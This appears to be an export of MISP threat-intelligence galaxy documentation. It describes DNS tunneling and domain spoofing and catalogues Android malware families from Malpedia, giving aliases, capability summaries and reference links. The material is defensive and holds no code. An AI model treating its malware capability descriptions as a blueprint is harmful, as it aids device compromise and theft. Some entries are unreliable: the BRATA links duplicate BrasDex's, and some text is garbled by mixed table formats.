**Spoofing or otherwise using unregistered domain names**

In a context where a domain name is expected (such as the From header in mail or a URL in a web page or message body), supplying a domain name not controlled by the attacker and that is not controlled by or registered to a legitimate registrant.
Spoofing of a registered domain

In a context where a domain name is expected (such as the From header in mail or a URL in a web page or message body), supplying a domain name not controlled by the attacker and that is in fact controlled by or registered to a legitimate registrant.

DNS tunneling

DNS tunneling - tunneling another protocol over DNS - The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal expected traffic.

Table 1628. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1071/004/">https://attack.mitre.org/techniques/T1071/004/</a></td>
</tr>
</tbody>
</table>

DNS beacons - C2 communication

DNS beacons - C2 communication - Successive or periodic DNS queries to a command & control server, either to exfiltrate data or await further commands from the C2.

Malpedia

Malware galaxy cluster based on Malpedia.

Malpedia is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Davide Arcuri - Alexandre Dulaunoy - Steffen Enders - Andrea Garavaglia - Andras Iklody - Daniel Plohmann - Christophe Vandeplas
FastCash

The tag is: misp-galaxy:malpedia="FastCash"

FastCash is also known as:

Table 1629. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash
- https://www.cisa.gov/uscert/ncas/alerts/TA18-275A
- https://www.us-cert.gov/ncas/alerts/TA18-275A
- https://github.com/fboldewin/FastCashMalwareDissected/
- https://www.cisa.gov/uscert/ncas/alerts/aa20-239a
- https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
- https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
- https://www.youtube.com/watch?v=zhQtejX9w
- https://www.youtube.com/watch?v=LUXOcpIRxmg

888 RAT

The tag is: misp-galaxy:malpedia="888 RAT"

888 RAT is also known as:

Table 1630. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/apk.888_rat
**Aberebot**

The tag is: `misp-galaxy:malpedia="Aberebot"

Aberebot is also known as:

- Escobar

*Table 1631. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/">https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/icebre4ker/status/1460527428544176128">https://twitter.com/icebre4ker/status/1460527428544176128</a></td>
</tr>
</tbody>
</table>

**AbstractEmu**

According to PCrisk, AbstractEmu is the name of rooting malware that can gain privileged access to the Android operating system. Threat actors behind AbstractEmu are using legitimate-looking apps (like password managers, app launchers, data savers) to trick users into downloading and opening/executing this malware.

The tag is: `misp-galaxy:malpedia="AbstractEmu"

AbstractEmu is also known as:

*Table 1632. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu">https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign">https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign</a></td>
</tr>
</tbody>
</table>

**ActionSpy**

The tag is: `misp-galaxy:malpedia="ActionSpy"
ActionSpy is also known as:

- AxeSpy

Table 1633. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy</a></td>
</tr>
</tbody>
</table>

AdoBot

The tag is: `misp-galaxy:malpedia="AdoBot"`

AdoBot is also known as:

Table 1634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.adobot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.adobot</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1243198756981559296">https://twitter.com/LukasStefanko/status/1243198756981559296</a></td>
</tr>
</tbody>
</table>

AdultSwine

The tag is: `misp-galaxy:malpedia="AdultSwine"`

AdultSwine is also known as:

Table 1635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine">https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/">https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/</a></td>
</tr>
</tbody>
</table>

Agent Smith

The tag is: `misp-galaxy:malpedia="Agent Smith"`

Agent Smith is also known as:
**AhMyth**

According to PCrisk, Ahmyth is a Remote Access Trojan (RAT) targeting Android users. It is distributed via trojanized (fake) applications. Ahmyth RAT steals cryptocurrency and banking credentials, 2FA codes, lock screen passcodes, and captures screenshots.

The tag is: `misp-galaxy:malpedia="AhMyth"`

AhMyth is also known as:

**Alien**

According to ThreatFabric, this is a fork of Cerberus v1 (active January 2020+). Alien is a rented banking trojan that can remotely control a phone and achieves RAT functionality by abusing TeamViewer.

The tag is: `misp-galaxy:malpedia="Alien"`

Alien is also known as:

- AlienBot
AmpleBot

This malware was initially named BlackRock and later renamed to AmpleBot.

The tag is: misp-galaxy:malpedia="AmpleBot"

AmpleBot is also known as:

- BlackRock

<table>
<thead>
<tr>
<th>Table 1639. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.amplebot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.amplebot</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html">https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html</a></td>
</tr>
</tbody>
</table>

Anatsa

The tag is: misp-galaxy:malpedia="Anatsa"

Anatsa is also known as:

- ReBot
- TeaBot
- Toddler
AndroRAT

Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

The tag is: misp-galaxy:malpedia="AndroRAT"

AndroRAT is also known as:
Anubis (Android)

BleepingComputer found that Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app’s login screen to make victims think it’s a legitimate login form when in reality, inputted credentials are sent to the attackers.

In the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:

- Recording screen activity and sound from the microphone
- Implementing a SOCKS5 proxy for covert communication and package delivery
- Capturing screenshots
- Sending mass SMS messages from the device to specified recipients
- Retrieving contacts stored on the device
- Sending, reading, deleting, and blocking notifications for SMS messages received by the device
- Scanning the device for files of interest to exfiltrate
- Locking the device screen and displaying a persistent ransom note
- Submitting USSD code requests to query bank balances
- Capturing GPS data and pedometer statistics
- Implementing a keylogger to steal credentials
- Monitoring active apps to mimic and perform overlay attacks
- Stopping malicious functionality and removing the malware from the device

The tag is: misp-galaxy:malpedia="Anubis (Android)"

Anubis (Android) is also known as:

- BankBot
- android.bankbot
- android.bankspy

Table 1642. Table References
**AnubisSpy**

The tag is: `misp-galaxy:malpedia="AnubisSpy"`

AnubisSpy is also known as:

*Table 1643. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Asacub**

The tag is: `misp-galaxy:malpedia="Asacub"`

Asacub is also known as:

*Table 1644. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub">https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub</a></td>
</tr>
</tbody>
</table>

**Ashas**

The tag is: `misp-galaxy:malpedia="Ashas"`

Ashas is also known as:

*Table 1645. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ATANK**

According to Lukas Stefanko, this is an open-source crypto-ransomware found on Github in 2018. It can en/decrypt files (AES, key: 32 random chars, sent to C&C), uses email as contact point but will remove all files after 24 hours or after a reboot.
The tag is: `misp-galaxy:malpedia="ATANK"`

ATANK is also known as:

<table>
<thead>
<tr>
<th>Table 1646. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.atank">https://malpedia.caad.fkie.fraunhofer.de/details/apk.atank</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1268070798293708800">https://twitter.com/LukasStefanko/status/1268070798293708800</a></td>
</tr>
</tbody>
</table>

**BADCALL (Android)**

remote access tool (RAT) payload on Android devices

The tag is: `misp-galaxy:malpedia="BADCALL (Android)"`

BADCALL (Android) is also known as:

<table>
<thead>
<tr>
<th>Table 1647. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.badcall">https://malpedia.caad.fkie.fraunhofer.de/details/apk.badcall</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar19-252a">https://www.us-cert.gov/ncas/analysis-reports/ar19-252a</a></td>
</tr>
</tbody>
</table>

**BadPatch**

The tag is: `misp-galaxy:malpedia="BadPatch"`

BadPatch is also known as:

- WelcomeChat

<table>
<thead>
<tr>
<th>Table 1648. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.badpatch">https://malpedia.caad.fkie.fraunhofer.de/details/apk.badpatch</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/07/14/welcome-chat-secure-messaging-app-nothing-further-truth/">https://www.welivesecurity.com/2020/07/14/welcome-chat-secure-messaging-app-nothing-further-truth/</a></td>
</tr>
</tbody>
</table>

**Bahamut (Android)**

According to PCrisk, Bahamut is the name of Android malware with spyware functionality. Threat actors use Bahamut to steal sensitive information. The newest malware version targets various messaging apps and personally identifiable information.

The tag is: `misp-galaxy:malpedia="Bahamut (Android)"`

Bahamut (Android) is also known as:
Table 1649. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut">https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw">https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw</a></td>
</tr>
</tbody>
</table>

Basbanke

The tag is: misp-galaxy:malpedia="Basbanke"

Basbanke is also known as:

Table 1650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke">https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/">https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1280243673100402690">https://twitter.com/LukasStefanko/status/1280243673100402690</a></td>
</tr>
</tbody>
</table>

BianLian (Android)

The tag is: misp-galaxy:malpedia="BianLian (Android)"

BianLian (Android) is also known as:

- Hydra

Table 1651. Table References
BrasDex

According to PCrisk, BraDex is a banking malware targeting Android operating systems. This malicious program aims to gain access to victims' bank accounts and make fraudulent transactions.

At the time of writing, BrasDex targets Brazilian banking applications exclusively. In previous BrasDex campaigns, it infiltrated devices under the guise of Android system related apps. Lately, this malware has been installed by a fake Brazilian Banco Santander banking application.

The tag is: \textit{misp-galaxy:malpedia }=`BrasDex`

BrasDex is also known as:

\begin{table}[h]
\centering
\caption{Table References}
\begin{tabular}{|l|}
\hline
Links \tabularnewline
\hline
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brasdex \tabularnewline
https://www.threatfabric.com/blogs/brasdex-a-new-brazilian-ats-malware.html \tabularnewline
\hline
\end{tabular}
\end{table}

BRATA

According to Cleafy, the victim’s Android device is factory reset after the attackers siphon money from the victim’s bank account. This distracts users from the crime, while removing traces or footprints that might be of interest to forensic analysts.

The tag is: \textit{misp-galaxy:malpedia }=`BRATA`

BRATA is also known as:

- AmexTroll

\begin{table}[h]
\centering
\caption{Table References}
\begin{tabular}{|l|}
\hline
Links \tabularnewline
\hline
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brasdex \tabularnewline
https://www.threatfabric.com/blogs/brasdex-a-new-brazilian-ats-malware.html \tabularnewline
\hline
\end{tabular}
\end{table}
Brunhilda

PRODAFT describes Brunhilda as a "Dropper as a Service" for Google Play, delivering e.g. Alien.

The tag is: *misp-galaxy:malpedia*="Brunhilda"

Brunhilda is also known as:

Table 1654. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda">https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda</a></td>
</tr>
<tr>
<td><a href="https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud">https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf">https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf</a></td>
</tr>
</tbody>
</table>

BusyGasper

The tag is: *misp-galaxy:malpedia*="BusyGasper"

BusyGasper is also known as:

Table 1655. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper">https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/busygasper-the-unfriendly-spy/87627/">https://securelist.com/busygasper-the-unfriendly-spy/87627/</a></td>
</tr>
</tbody>
</table>

CapraRAT

According to PCrisk, CapraRAT is the name of an Android remote access trojan (RAT), possibly a modified version of another (open-source) RAT called AndroRAT. It is known that CapraRAT is used
by an advanced persistent threat group (ATP) called APT36 (also known as Earth Karkaddan). CapraRAT allows attackers to perform certain actions on the infected Android device.

The tag is: `misp-galaxy:malpedia="CapraRAT"`

CapraRAT is also known as:

Table 1656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2023/03/07/love-scam-espionage-transparent-tribe-lures-indian-pakistani-officials/">https://www.welivesecurity.com/2023/03/07/love-scam-espionage-transparent-tribe-lures-indian-pakistani-officials/</a></td>
</tr>
</tbody>
</table>

**CarbonSteal**

The tag is: `misp-galaxy:malpedia="CarbonSteal"`

CarbonSteal is also known as:

Table 1657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.carbonsteal">https://malpedia.caad.fkie.fraunhofer.de/details/apk.carbonsteal</a></td>
</tr>
</tbody>
</table>

**Catelites**

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

The tag is: `misp-galaxy:malpedia="Catelites"`

Catelites is also known as:

Table 1658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Cerberus

According to PCrisk, Cerberus is an Android banking Trojan which can be rented on hacker forums. It was created in 2019 and is used to steal sensitive, confidential information. Cerberus can also be used to send commands to users’ devices and perform dangerous actions.

The tag is: misp-galaxy:malpedia="Cerberus"

Cerberus is also known as:

Table 1659. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus">https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus</a></td>
</tr>
<tr>
<td><a href="https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus">https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/85b3db8c">https://community.riskiq.com/article/85b3db8c</a></td>
</tr>
<tr>
<td><a href="https://github.com/ics-iot-bootcamp/cerberus_research">https://github.com/ics-iot-bootcamp/cerberus_research</a></td>
</tr>
<tr>
<td><a href="https://nur.pub/cerberus-analysis">https://nur.pub/cerberus-analysis</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AndroidCerberus">https://twitter.com/AndroidCerberus</a></td>
</tr>
</tbody>
</table>
Chameleon

The malware chamaleon is an Android trojan that pretends to be legitimate entities to steal data from users in Australia and Poland. It exploits the Accessibility Service to monitor and modify the device screen.

The tag is: misp-galaxy:malpedia="Chameleon"

Chameleon is also known as:

Table 1660. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.chameleon">https://malpedia.caad.fkie.fraunhofer.de/details/apk.chameleon</a></td>
</tr>
</tbody>
</table>

Chamois

The tag is: misp-galaxy:malpedia="Chamois"

Chamois is also known as:

Table 1661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois">https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois</a></td>
</tr>
</tbody>
</table>

Charger

The tag is: misp-galaxy:malpedia="Charger"

Charger is also known as:

Table 1662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger">https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger</a></td>
</tr>
<tr>
<td><a href="http://blog.checkpoint.com/2017/01/24/charger-malware/">http://blog.checkpoint.com/2017/01/24/charger-malware/</a></td>
</tr>
</tbody>
</table>
Chinotto (Android)

The tag is: `misp-galaxy:malpedia="Chinotto (Android)"`

Chinotto (Android) is also known as:

### Table 1663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto">https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2021/12/06/apt37-using-a-new-android-spyware-chinotto/">https://blog.cyble.com/2021/12/06/apt37-using-a-new-android-spyware-chinotto/</a></td>
</tr>
</tbody>
</table>

Chrysaor

The tag is: `misp-galaxy:malpedia="Chrysaor"`

Chrysaor is also known as:

- JigglyPuff
- Pegasus

### Table 1664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor">https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor</a></td>
</tr>
<tr>
<td><a href="https://thewire.in/media/pegasus-project-spyware-indian-journalists">https://thewire.in/media/pegasus-project-spyware-indian-journalists</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x67.html">https://objective-see.com/blog/blog_0x67.html</a></td>
</tr>
<tr>
<td><a href="https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1">https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso">https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso</a></td>
</tr>
<tr>
<td><a href="https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/">https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/</a></td>
</tr>
<tr>
<td><a href="https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/">https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/</a></td>
</tr>
<tr>
<td><a href="https://zetter.substack.com/p/pegasus-spyware-how-it-works-and">https://zetter.substack.com/p/pegasus-spyware-how-it-works-and</a></td>
</tr>
<tr>
<td><a href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2021/07/amnesty-peer-review/">https://citizenlab.ca/2021/07/amnesty-peer-review/</a></td>
</tr>
<tr>
<td><a href="https://media.ccc.de/v/33c3-7901-pegasus_internals">https://media.ccc.de/v/33c3-7901-pegasus_internals</a></td>
</tr>
<tr>
<td><a href="https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/">https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/</a></td>
</tr>
<tr>
<td><a href="https://nex.sx/blog/2021/08/03/the-pegasus-project.html">https://nex.sx/blog/2021/08/03/the-pegasus-project.html</a></td>
</tr>
<tr>
<td><a href="https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/">https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/</a></td>
</tr>
<tr>
<td><a href="https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages">https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages</a></td>
</tr>
<tr>
<td><a href="https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/">https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/HackSysTeam/status/1418223814387765258?s=20">https://twitter.com/HackSysTeam/status/1418223814387765258?s=20</a></td>
</tr>
<tr>
<td><a href="https://irpimedia.irpi.eu/sorveglianze-cy4gate/">https://irpimedia.irpi.eu/sorveglianze-cy4gate/</a></td>
</tr>
<tr>
<td><a href="https://forbiddenstories.org/about-the-pegasus-project/">https://forbiddenstories.org/about-the-pegasus-project/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/alexanderjaeger/status/1417447732030189569">https://twitter.com/alexanderjaeger/status/1417447732030189569</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/billmarczak/status/1416801439402262529">https://twitter.com/billmarczak/status/1416801439402262529</a></td>
</tr>
<tr>
<td><a href="https://www.theguardian.com/news/series/pegasus-project">https://www.theguardian.com/news/series/pegasus-project</a></td>
</tr>
</tbody>
</table>
Clientor

The tag is: `misp-galaxy:malpedia="Clientor"`

Clientor is also known as:

Table 1665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor">https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1042297855602503681">https://twitter.com/LukasStefanko/status/1042297855602503681</a></td>
</tr>
</tbody>
</table>

Clipper

The tag is: `misp-galaxy:malpedia="Clipper"`

Clipper is also known as:

Table 1666. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper">https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/">https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/</a></td>
</tr>
<tr>
<td><a href="https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html">https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show?lng=en&amp;i=12739">https://news.drweb.com/show?lng=en&amp;i=12739</a></td>
</tr>
</tbody>
</table>

CloudAtlas

The tag is: `misp-galaxy:malpedia="CloudAtlas"`

CloudAtlas is also known as:

Table 1667. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.cloudatlas">https://malpedia.caad.fkie.fraunhofer.de/details/apk.cloudatlas</a></td>
</tr>
</tbody>
</table>

CometBot

The tag is: `misp-galaxy:malpedia="CometBot"`
CometBot is also known as:

Table 1668. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1102937833071935491">https://twitter.com/LukasStefanko/status/1102937833071935491</a></td>
</tr>
</tbody>
</table>

**Connic**

The tag is: `misp-galaxy:malpedia="Connic"`

Connic is also known as:

- SpyBanker

Table 1669. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic">https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic</a></td>
</tr>
</tbody>
</table>

**Coper**

Coper is a descendant of ExoBotCompat, which was a rewritten version of Exobot. Malicious Coper apps have a modular architecture and a multi-stage infection mechanism. Coper has originally been spotted in Colombia but has since emerged in Europa as well.

The tag is: `misp-galaxy:malpedia="Coper"`

Coper is also known as:

- ExobotCompact
- Octo

Table 1670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper">https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?p=0&amp;lng=en&amp;i=14259&amp;c=0">https://news.drweb.com/show/?p=0&amp;lng=en&amp;i=14259&amp;c=0</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/24/coper-banking-trojan/">https://blog.cyble.com/2022/03/24/coper-banking-trojan/</a></td>
</tr>
</tbody>
</table>
Coronavirus Android Worm

Poses as an app that can offer a "corona safety mask" but phone's address book and sends sms to contacts, spreading its own download link.

The tag is: `misp-galaxy:malpedia="Coronavirus Android Worm"`

Coronavirus Android Worm is also known as:

*Table 1671. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.corona_worm">https://malpedia.caad.fkie.fraunhofer.de/details/apk.corona_worm</a></td>
</tr>
</tbody>
</table>

Cpuminer (Android)

The tag is: `misp-galaxy:malpedia="Cpuminer (Android)"

Cpuminer (Android) is also known as:

*Table 1672. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer">https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/">https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/</a></td>
</tr>
</tbody>
</table>

CryCryptor

According to NHS Digital, CryCryptor is distributed via websites that spoof health organisations. At the time of publication these websites have affected the Canadian health service. CryCryptor cannot be obtained from the Google Play store, so devices restricted to only running apps from the store
are not affected.

When CryCryptor is run it encrypts common file types and saves a ransom note to every directory where files have been encrypted. Encrypted files have the extension '.enc' appended to the filenames. Additional files are saved containing the salt values used in each encryption and an initialisation vector. These files have the extensions '.enc.salt' and '.enc.iv' respectively.

When files have been encrypted, a notification is displayed directing users to open the ransom note.

The tag is: *misp-galaxy:malpedia="CryCryptor"*

CryCryptor is also known as:

- CryCrypter
- CryDroid

### Table 1673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.crycryptor">https://malpedia.caad.fkie.fraunhofer.de/details/apk.crycryptor</a></td>
</tr>
</tbody>
</table>

### CyberAzov

The tag is: *misp-galaxy:malpedia="CyberAzov"*

CyberAzov is also known as:

### Table 1674. Table References

<table>
<thead>
